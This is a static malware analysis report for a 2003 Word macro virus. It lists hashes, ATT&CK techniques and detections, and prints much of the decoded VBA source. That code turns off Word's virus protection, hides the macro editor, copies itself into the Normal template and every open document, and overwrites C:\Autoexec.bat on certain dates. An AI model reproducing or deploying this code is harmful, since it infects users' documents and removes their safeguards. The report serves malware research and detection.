Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a2a7061f6f5edda4…

MALICIOUS

Office (OLE)

55.5 KB Created: 2003-05-23 01:13:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: d7d6d239ee9ffd76e9cec3df068e6c68 SHA-1: 8a5e744e276a001bb6b41d27eecc4e42c8a5f5b4 SHA-256: a2a7061f6f5edda4900d32ac65ce3e9e8272db52ad37ee98377f8e63db7019c7
160 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1059.001 PowerShell

The sample contains VBA macros, including a Document_Open macro, which is a common technique for executing malicious code upon opening a document. The heuristic 'SE_CLIPBOARD_COMMAND_LURE' indicates the document explicitly instructs the user to copy and paste content into a shell, likely to execute a payload. The embedded artifact was detected as Win.Trojan.C-286 by ClamAV, suggesting it is a known malicious component.

Heuristics 3

  • Clipboard command execution lure high SE_CLIPBOARD_COMMAND_LURE
    Document tells the user to copy or paste clipboard content into Run, PowerShell, cmd, or another shell-like execution context
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 19192 bytes
SHA-256: 0f559b0d004047b45bc8f63946db0ae08cf5f87f79ab2bfc50f27f95bac07aa3
Detection
ClamAV: Win.Trojan.C-286
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True


Rem barok Alge <There is no way/reasons to hide>
Rem Alge approximate consist of 150 lines.
Rem Rundate: June 05,2003 Cbrhck /CARAGA, Philippines

Option Compare Text
Private Sub Document_Open()
On Error Resume Next
WordBasic.disableautomacros False
ALGE = Options.DefaultFilePath(wdStartupPath)
ImportAlge = ALGE & "\Alge.txt"
With Dialogs(wdDialogFileSummaryInfo)
    .Title = "Alge"
    .Subject = "Luceat Lux Vistra"
    .Author = "Cbrhck"
    .Keywords = "brk"
    .Comments = "RM Diega, I DO LOVE YOU, very much... -TAKE A BUNCH OF CARE- honey!"
    .Execute
End With
    Options.ConfirmConversions = True
    Options.VirusProtection = False
    Options.SaveNormalPrompt = False
With CommandBars("Tools")
    .Reset
    .Controls("Macro").Reset
    .Controls("Templates and Add-Ins...").Reset
    .Controls("Customize...").Reset
End With
    For i = NormalTemplate.VBProject.VBComponents.Count To 1 Step -1
    CurrObject = NormalTemplate.VBProject.VBComponents(i).Name
        If (CurrObject <> "ThisDocument") Then Application.OrganizerDelete Source:=NormalTemplate.FullName, Name:=CurrObject, Object:=wdOrganizerObjectProjectItems
    Next i
    For Each OpenDoc In Documents
With OpenDoc
    For j = OpenDoc.VBProject.VBComponents.Count To 1 Step -1
    CurrObject = OpenDoc.VBProject.VBComponents(j).Name
        If (CurrObject <> "ThisDocument") And (CurrObject <> "Reference to Normal") Then Application.OrganizerDelete Source:=OpenDoc.FullName, Name:=CurrObject, Object:=wdOrganizerObjectProjectItems
Next j
End With
    Next OpenDoc
        Application.ShowVisualBasicEditor = False
        Application.DisplayAlerts = wdAlertsNone
        ActiveDocument.ReadOnlyRecommended = False
    WordBasic.disableautomacros
    CommandBars("Visual Basic").Visible = False
    CommandBars("Visual Basic").Enabled = False
    CommandBars("Visual Basic").Protection = msoBarNoChangeVisible
    CommandBars("Visual Basic").Protection = msoBarNoCustomize
    CommandBars("Tools").Controls("Macro").Delete
    CommandBars("Control Toolbox").Visible = False
    CommandBars("Control Toolbox").Enabled = False
        CustomizationContext = NormalTemplate
            FindKey(BuildKeyCode(wdKeyF11, wdKeyAlt)).Disable
            FindKey(BuildKeyCode(wdKeyF8, wdKeyAlt)).Disable
    ALGE = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 150)
        If Dir(ImportAlge) = True Then Kill ImportAlge
    Open ImportAlge For Output Shared As #1
        Print #1, ALGE
        Close #1
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Find("Alge", 1, 1, 10, 10) = False Then
numberoflines = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, numberoflines
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.AddFromFile ImportAlge
NormalTemplate.Save
End If
If ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Find("Alge", 1, 1, 10, 10) = False Then
numberoflines = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, numberoflines
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.AddFromFile ImportAlge
ActiveDocument.Save
End If
Kill ImportAlge
get2ImplementBatch
End Sub

Private Sub get2ImplementBatch()
Dim freeF As Integer
On Error Resume Next
If (Day(Date) = 15) Or (Day(Date) = 30) Then
Call SetAttr("C:\Autoexec.bat", vbArchive)
freeF = FreeFile
Kill "C:\Autoexec.bat"
Open "C:\Autoexec.bat" For Output As #freeF
Print #freeF, "@Echo Off"
Print #freeF, "Echo Off"
Print #freeF, "Rem barok(Alge) Batch Dummy Implementation"
Print #freeF, "Rem  by: Cbrhck /CARAGA /Philippines"
Print #freeF, ""
Print #freeF, "cls"
Print #fre
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.